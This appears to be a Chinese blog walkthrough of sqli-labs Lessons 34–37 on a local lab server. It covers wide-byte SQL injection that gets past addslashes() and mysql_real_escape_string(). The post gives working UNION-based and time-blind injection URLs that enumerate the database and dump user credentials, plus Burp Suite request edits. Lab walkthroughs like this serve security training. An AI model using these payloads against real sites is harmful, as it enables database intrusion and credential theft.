Less34-Less37 (宽字节注入)

Less34:

输入 admin    admin 登录成功

 

 输入  a   c  登录失败,没有报错信息

 

 看源码

 

 

本关也使用了addslashes()函数,理论上我们可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码)

分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘à �’

法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

 

 方法一:

  • 在POST中传入的数据:1 �‘ union select 1,2# (注意:在这里不能够再使用--+   -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字
  •  

 

 

 

 

 

 

 

 方法二:

输入   a%df’   a%df’

 

 抓包

 

 

 

 

 

  • 但我们在这个里面改的时候,通过burpsuite抓包发现还是会给我们加上%25,所以我们直接在burpsuite中修改信息得到返回信息即可!
  •  

修改信息,forward,intercept is on ,返回关卡界面

 

 

 

 

  Less35: id没有任何包裹

http://192.168.27.156/sqli-labs/Less-35/?id=-1 union select 1,2,3 --+

 

 

因为下面的查询都没有涉及到宽字节,所以下面的跟第1关一样

?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

?id=-1 union select 1,2,group_concat(concat('~',username,password)) from security.users--+

 

使用时间盲注的方法也可以

http://192.168.27.156/sqli-labs/Less-35/?id=1 and if(length(database())>1,1,sleep(5)  )

 

 

 

 

Less-36:使用’1’进行包裹   

http://192.168.27.156/sqli-labs/Less-36/?id=1

 

 

 

http://192.168.27.156/sqli-labs/Less-36/?id=1'     单引号被转义

 

 

 

使用宽字节注入

http://192.168.27.156/sqli-labs/Less-36/?id=1%df' union select 1,2,3 --+

 

 http://192.168.27.156/sqli-labs/Less-36/?id=-1%df' union select 1,2,group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479  --+

 

http://192.168.27.156/sqli-labs/Less-36/?id=-1%df' union select1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

 

 

Less37:

 输入  admin   admin   登录成功

 

 输入 ad  a    登录失败

 

 

可见与第34关一致, 与34关基本相似,本关只是将过滤函数进行了替换: mysql_real_escape_string(),同样,我们可以直接按照34关的方法即可!

  • 分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

方法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘ à �'

方法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

 

方法一:

 

 

 

 方法二:抓包

又将 %转化为%25

 

 

 

 

 

 

posted @ 2020-02-06 11:51  gxy*  阅读(332)  评论(0编辑  收藏  举报